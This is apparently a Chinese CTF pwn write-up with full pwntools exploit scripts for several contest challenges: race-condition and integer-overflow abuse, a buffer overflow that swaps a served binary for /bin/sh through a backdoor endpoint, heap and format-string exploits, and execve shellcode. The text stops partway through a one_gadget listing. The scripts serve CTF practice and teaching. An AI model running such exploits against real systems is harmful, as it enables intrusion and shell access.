uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
sl("111111")
sl("123456")
ru("你已退出登录注册界面")
pause()
sl("Chart")
pause()
sl("1")
pause()
sl("back")
sl("Bot")

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
sl("222222")
sl("123456")
ru("你已退出登录注册界面")
pause()
sl("Chart")
pause()

ru("(UID:")
uid = eval(ru(":"))
success("uid >> " + str(uid))

pause()
sl("back")
sl("Secret")
ru("欢迎进入私聊模式")
sl(str(uid))
sl("RemoteVIPApplicationCertificationHasPassed")

p.interactive()

入侵思路 - flag3

第三个 flag 出现在一个简单游戏中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
else if(!strcmp(info[1],"Start"))
{
int cha=0;
int sk=0;
cha=atoi(info[3]);
sk=atoi(info[4]);
int check=0;
for(int i=0;i<5;i++)
{
if(!strcmp(pNode->characters[cha],cNode[i].name)&&( (sk>=0) && (sk<=1) &&( (cha>=0) && (cha<=pNode->characters_count))))
{
int res=cNode[4].blood-(-cNode[i].skill_hurt[sk]);
printf("Hurt:%d\n",res);
if(res<=0)
{
char *flag;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_THREE", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

flag = malloc(fsize + 1);
fread(flag, fsize, 1, file);
fclose(file);
flag[fsize] = '\0';
strcpy(msgs.message,flag);
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
check=1;
}
}
}
if(check==0)
{
strcpy(msgs.message,"YOU LOSE!");
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}
}
  • cNode[4].bloodcNode[i].skill_hurt[sk] 都是正值,必须令 res 溢出为负数

查看角色的数据,发现只有 H3h3QAQskill_hurt[1] 符合条件:

1
2
3
4
5
6
7
8
9
10
strcpy(cNode[0].name,"H3h3QAQ");
cNode[0].skill[0]=(char *)malloc(0x30);
cNode[0].skill[1]=(char *)malloc(0x30);
strcpy(cNode[0].skill[0],"自动化渗透木马");
strcpy(cNode[0].skill[1],"log4j");
cNode[0].skill_hurt[0]=10;
cNode[0].skill_hurt[1]=2047483649;
cNode[0].level=0;
cNode[0].how_much=-100;
cNode[0].blood=1;

在 Shop 中没法购买 H3h3QAQ,只能在 RollCard 中 Roll 出来

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
ru("(均为6个字符)")
sl("yhw123")
sl("123456")
ru("你已退出登录注册界面")

sl("RollCard")
index = 0
while(True):
sl("Roll")
ru("恭喜你抽到了")
name = ru("\n")
print(name)
sleep(1)
if name == "H3h3QAQ":
break
index = index + 1

sl("back")
sl("Start")
ru("T佬")
sl(str(index+3))
sl("1")

p.interactive()

入侵思路 - flag4

第四个 flag 在 safebox 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(!strcmp(choice,"Safe_Mode_Key"))
{
printf("%s","This is your key!");
char *flag;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_FOUR", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

flag = malloc(fsize + 1);
fread(flag, fsize, 1, file);
fclose(file);
flag[fsize] = '\0';
printf("%s\n",flag);
}
  • 进入 “安全模式” 输入 “Safe_Mode_Key” 即可拿到 flag

想要进入安全模式,必须先令程序崩溃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 创建子进程
fp = popen("/home/ctf/client", "r");
if (fp == NULL) {
perror("popen");
exit(0);
}

// 持续交互直到子进程崩溃
while (1) {
// 读取子进程输出
if (fgets(buffer, sizeof(buffer), fp) == NULL) {
// 子进程崩溃或结束
break;
}

// 打印子进程输出
printf("%s", buffer);
}

令程序崩溃的方法正是条件竞争:

1
2
3
4
5
6
7
8
9
10
void Login()
{
printf("%s\n","欢迎注册&登录Nep CardFight system");
printf("%s\n","请按次序输入用户名和密码(均为6个字符)");
pthread_create(&pthreadSend, NULL, login_pthread_send, NULL);
pthread_create(&pthreadRecv, NULL, login_pthread_recv, NULL);

while (!quit)
;
}
  • 当程序创建两个线程后会执行 while 自旋(类似于自旋锁)
1
2
3
4
5
6
7
8
if(!strcmp(msg.message,"true"))
{
quit = true;
memset(msg.message, 0, sizeof(msg.message));
printf("%s\n","你已退出登录注册界面");
login_or_not=1;
return;
}
  • login_pthread_recv 函数快执行完时,会设置 quit = true 从而使主线程继续执行
  • 如果在正常执行 login 流程的同时输入大量垃圾数据,就可能导致服务端崩溃,进而导致客户端的 recv 死锁(具体原因不清楚)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

def login():
for i in range(0x2000):
sl("Login")
sl("\x00"*6)
sl("\x00"*6)

def get_flag():
for i in range(0x2000):
sl("Safe_Mode_Key")

t1 = Thread(target=login())
t2 = Thread(target=get_flag())

t1.start()
t2.start()

p.interactive()

HRPVM2.0

1
2
3
4
5
6
kernel: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=08cd1082abae94aa4bc1d29a144b1a27bb3e875f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

该题目是一个 Web 服务器,启动 Apache 服务器的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask, render_template, request, jsonify
from threading import Thread
import subprocess
import queue

app = Flask(__name__)

# 全局变量,用于存储子进程和线程
process = None
output = queue.Queue()
error = ''

def run_program():
global process, output, error

# 启动 AMD64 ELF 程序
process = subprocess.Popen(['./templates/kernel'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 持续读取子进程的输出
while True:
line = process.stdout.readline()
if not line:
break
output.put(line)
process.stdout.flush()

# 读取子进程的错误输出
error = process.stderr.read()

@app.route('/', methods=['GET'])
def index():
global process, output, error

if process is None or not process.poll() is None:
# 如果还没有启动 AMD64 ELF 程序,或者子进程已经结束,则启动一个新的线程
process = None
output = queue.Queue()
error = ''
thread = Thread(target=run_program)
thread.start()

# 渲染 HTML 模板
return render_template('index.html')

@app.route('/send', methods=['POST'])
def send():
global process

command = request.form.get('input', '')

# 向子进程发送命令
process.stdin.write(command + '\n')
process.stdin.flush()

return jsonify(status="success"), 200


@app.route('/receive', methods=['GET'])
def receive():
global output, error

if not output.empty():
current_output = output.get()
else:
current_output = ''

return jsonify(output=current_output, error=error)

@app.route('/test_system_exec', methods=['GET'])
def test_system_exec():
import os
os.system("chmod +x /bin/shell && /bin/shell")

return jsonify(status="success"), 200

if __name__ == '__main__':
app.run(host='0.0.0.0')

使用 docker 搭建环境后通过 http://172.26.0.2:5000/ 即可访问题目页面,类似于一个网页版的 shell

1
2
> cat README
~/@HRP$ Perhaps you think this question is very similar to HRPVM, but it is a bit different. The author of the question is quite awkward and went to work on the web. Let's play with the entire check-in question for everyone

漏洞分析

全局变量溢出:

1
2
3
4
5
6
7
8
9
10
11
12
if ( file->fd >= 0 )                      // read
{
if ( user->key || file->r )
{
len = atoi(rdxg);
copy_data(read_buf, file->data, len);
len = atoi(rdxg);
clear("[+] Read %d bytes from file: %s\n", (unsigned int)len, read_buf);
return;
}
goto LABEL_23;
}
  • 通过溢出 read_buf 可以覆盖 user:
1
2
3
.bss:0000000000005040 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+read_buf db 100h dup(?)                 ; DATA XREF: syscall+12E↑o
.bss:0000000000005140 ; User *user
.bss:0000000000005140 ?? ?? ?? ?? ?? ?? ?? ?? user dq ?

程序提供了后门,可以执行 /bin/shell

1
2
3
4
5
6
@app.route('/test_system_exec', methods=['GET'])
def test_system_exec():
import os
os.system("chmod +x /bin/shell && /bin/shell")

return jsonify(status="success"), 200

入侵思路

想要获取 flag 则需要绕过两个点:

1
2
3
4
if ( user->key || !strcmp(file->perm, user->name) )
puts(file->data);
else
puts("[-] Permission denied!");
  • user->key == 1
  • user->name == root

理论上可以通过 read_buf 的溢出来覆盖 user(我们可以通过单独执行二进制文件来进行调试)

首先看单独执行二进制文件时,打通的 payload:(概率 1/16)

1
2
3
4
5
6
7
8
9
sl("root")
data = "echo "+"a"*0x100+p16(0xd1e0)+">payload"
sla("$",data)
data = "echo mov rdi,payload;syscall 0;echo mov rdi,payload;mov rdx,260;syscall 1;>exp"
sla("$",data)
data = "exec exp"
sla("$",data)
data = "cat flag"
sla("$",data)

但是打网页时 0xd1e0 会被转义,因此我们需要找寻可见字符的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
url = "http://172.26.0.2:5000/send"

res = requests.get("http://172.26.0.2:5000")

data = "{'input':"+"a"*0x80+"'root'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'echo "+"a"*0x100+"02"+">payload'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'echo mov rdi,payload;syscall 0;echo mov rdi,payload;mov rdx,260;syscall 1;>exp'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'exec exp'}"
res = requests.post(url,data=data)
print(res.text)

data = "{'input':'cat flag'}"
res = requests.post(url,data=data)
print(res.text)

for i in range(0x10):
res = requests.get("http://172.26.0.2:5000/receive")
print(res.text)

不过这个题目还没有结束,看别人 wp 时才发现服务器上那个是假 flag,需要拿到 shell 才能拿到真 flag

看别人 wp 时学到了一种比较方便的交互方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
req = requests.session()
url = "http://172.26.0.2:5000"
req.get(url)
p = tube()

def io_recv_raw(*a):
sleep(0.2)
r = req.get(url + "/receive")
print(r.json())
return r.json().get('output', "").encode("utf-8")
def io_send_raw(x):
r = req.post(url + "/send", data={"input": x})

p.recv_raw = io_recv_raw
p.send_raw = io_send_raw
  • tube:生成一个新过程,并用管子包裹它以进行通信(将其设置为网络 IO 即可快速进行交互)

程序还有一个后门可以执行内存上的 /bin/shell 文件,而 mount 命令可以往 /bin/shell 中写入数据(同样需要满足 user->key == 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( getnum_by_name(name) == 1 )
{
strcat(dest, name);
fd = fopen(dest, "wb");
if ( fd )
{
len = strlen(file->data);
fwrite(file->data, 1uLL, len, fd);
fclose(fd);
puts("Device mounted");
}
else
{
puts("Unable to open physical device.");
}
}

我们可以在文件启动脚本中看到如下的代码:

1
2
# 启动 AMD64 ELF 程序
process = subprocess.Popen(['./templates/kernel'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
  • 执行如下的 shell 脚本就可以替换二进制文件 kernel 为真实的 /bin/sh 文件
1
2
#!/bin/sh
cp /bin/sh /app/templates/kernel

于是利用的主要步骤如下:

  • 利用程序的溢出修改 user,使其指向我们可以控制的 chunk(概率为 1/16)
  • 利用程序功能创建 /bin/shell,并使用 exec 往其中写入上述的 shell 脚本
  • 通过 mount 功能将 /bin/shell 中的脚本写入真实的 /bin/shell 文件
  • 通过后门 /test_system_exec 执行 /bin/shell 完成替换
  • 再次连接即可拿到 /bin/sh

PS:第一次在本地进行调试时遇到 /bin 目录没有权限的问题,而 docker 中的权限是 root,没有这个问题

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- coding:utf-8 -*-
from pwn import *
import requests

arch = 64
challenge = './kernel1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
req = requests.session()
url = "http://172.26.0.2:5000"
req.get(url)
p = tube()

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1D62)\n")
pause()

def cmd(op):
sla(">",str(op))

def io_recv_raw(*a):
sleep(0.1)
r = req.get(url + "/receive")
print(r.json())
return r.json().get('output', "").encode("utf-8")
def io_send_raw(x):
r = req.post(url + "/send", data={"input": x})

p.recv_raw = io_recv_raw
p.send_raw = io_send_raw

#debug()

sla("Nepnep","a"*0x100)
data = "mkdir bin"
sla("$",data)
data = "cd bin"
sla("$",data)
data = "echo cp /bin/sh /app/templates/kernel>shell"
sla("$",data)
data = "echo "+"a"*0x100+"02"+">payload"
sla("$",data)
data = "echo mov rdi,payload;syscall 0;echo mov rdi,payload;mov rdx,260;syscall 1;>exp"
sla("$",data)
data = "exec exp"
sla("$",data)
data = "mount shell"
sla("$",data)
data = "exit"
sla("$",data)

req.get(url+"/test_system_exec")

p.interactive()

浏览器效果截图:

filereader

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
1
2
3
4
5
6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2d9ee3867b8472fc809b8d34c0e6b7fc68fa248c, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

入侵思路

绕开这个 double free 就可以获取 flag:

1
2
3
4
5
6
free(ptr);
__isoc99_scanf("%lu", &v6);
__isoc99_scanf("%lu", &v7);
*v6 = v7;
puts("Exiting...");
free(ptr);

直接覆盖 tcache->bk 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './s1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31772')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12C4)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

leak_addr = eval(ru("\n"))
success("leak_addr >> "+hex(leak_addr))

sl(str(leak_addr-0x48))
sl(str(0))

p.interactive()

MyPet

1
2
3
4
5
6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=845f074a2f75e89b38ab4074668bcd859a39a3e3, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
gets(format);
printf(format);
fflush(stdout);
gets(format);

入侵思路

利用格式化字符串漏洞泄露后门地址和 canary,直接覆盖返回地址为后门地址

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './s'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31791')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1238)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
sleep(0.1)
payload = "%13$p%11$p"
sl(payload)

ru("0x")
leak_addr = eval("0x"+ru("0x"))
pro_base = leak_addr - 0x12ae
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

canary = eval("0x"+ru("00"))*0x100
success("canary >> "+hex(canary))

back_door = pro_base + 0x11EE
sleep(0.1)
payload = "a"*40+p64(canary)+"b"*8+p64(back_door)
sl(payload)

p.interactive()

SHA-Shell

1
2
3
4
5
6
x: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a473a0cf21f6ae4972ee4e29a626d49552b65dc4, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

mmap 有执行权限:

1
2
3
4
5
6
result = mmap(0LL, 0x10000uLL, 7, 33, -1, 0LL);
*result = lookup;
result[1] = store;
result[2] = helpMenu;
result[3] = infoBlurb;
result[4] = checkPrintable;

入侵思路

在 mmap 的空间上写 shellcode,然后想办法覆盖存放于 mmap 上的地址

由于程序会对 index 进行 hash 处理,导致不容易命中 mmap 上的地址,我的解决方法比较简单粗暴:

1
2
3
for i in range(0x4000):
print(str(i+1+62175))
store(str(i+1+62175),"a")
  • 最后发现 74823 122935 200796 成功输出可用数据
1
2
3
4
5
6
lookup(str(74823))
ru("Value for \"74823\": ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
pro_base = leak_addr - 0x1581
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

函数 checkPrintable 会过滤非可见字符,导致 shellcode 注入失败

1
2
3
4
5
6
result = mmap(0LL, 0x10000uLL, 7, 33, -1, 0LL);
*result = lookup;
result[1] = store;
result[2] = helpMenu;
result[3] = infoBlurb;
result[4] = checkPrintable;

我们可以将其覆盖为函数 hexlifyPrint

1
2
3
4
int __fastcall hexlifyPrint(__int64 a1)
{
return printf("%lx\n", a1);
}

这样既可以泄露 mmap_addr,又可以解除 shellcode 的限制:

1
2
payload = p16(printx % 0x10000) # checkPrintable
store(str(200796),payload)

然后输入 shellcode,计算 shellcode 的地址

最后将 mmap_addr 上的函数指针覆盖为 shellcode_addr 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './x'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31778')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1668)\n")
pause()

def cmd(op):
sla(">",str(op))

def lookup(index):
sla("$ ","lookup")
sla("Birthday):",index)

def store(index,data):
sla("$ ","store")
sla("Birthday):",index)
sla("2020)",data)

#for i in range(500):
#print(str(i+1+196453+4000))
#store(str(i+1+196453+4000),"a")
#lookup(str(i+1+196453+4000))
#ru(":")
#print(ru("\n"))

lookup(str(74823))
ru("Value for \"74823\": ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
pro_base = leak_addr - 0x1581
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

printx = pro_base + 0x1375
puts_got = pro_base + 0x3F70
puts_plt = pro_base + 0x1150

payload = p16(printx % 0x10000) # checkPrintable
store(str(200796),payload)

ru("\n")
ru("\n")
leak_addr = eval("0x"+ru("\n"))
mmap_base = leak_addr - 0x20
success("leak_addr >> "+hex(leak_addr))
success("mmap_base >> "+hex(mmap_base))

#debug()

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
store("0",shellcode)

shellcode_addr = mmap_base + 0x3658
payload = p64(shellcode_addr) # lookup
store(str(122935),payload)

sla("$ ","lookup")

p.interactive()

sprintf

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1bf9e09eafed1670b2cc74bb1f662031a0a6796c, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

栈溢出漏洞和格式化字符串漏洞:

1
2
3
chunk = (char *)malloc(0x80uLL);
chunk[read(0, chunk, 0x80uLL) - 1] = 0;
sprintf(s, chunk);

入侵思路

printf 在内部调用 vfprintf,尝试覆盖 printf 的返回地址但没有成功

1
2
3
4
5
0x7ffff7e5a0f4 <__vsprintf_internal+164>    call   __vfprintf_internal                <__vfprintf_internal>
rdi: 0x7fffffffda00 ◂— 0xfffffffffbad8001
rsi: 0x55555555b2a0 ◂— 0x6325 /* '%c' */
rdx: 0x7fffffffdb40 ◂— 0x3000000010
rcx: 0x0

还有一个解法就是爆破 one_gadget,有 1/4096 的概率可以打通(由于 sprintf 会在后面自动添加 \x00 导致要多爆破两位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xe3afe execve("/bin/sh", r15, r12)
constraints:
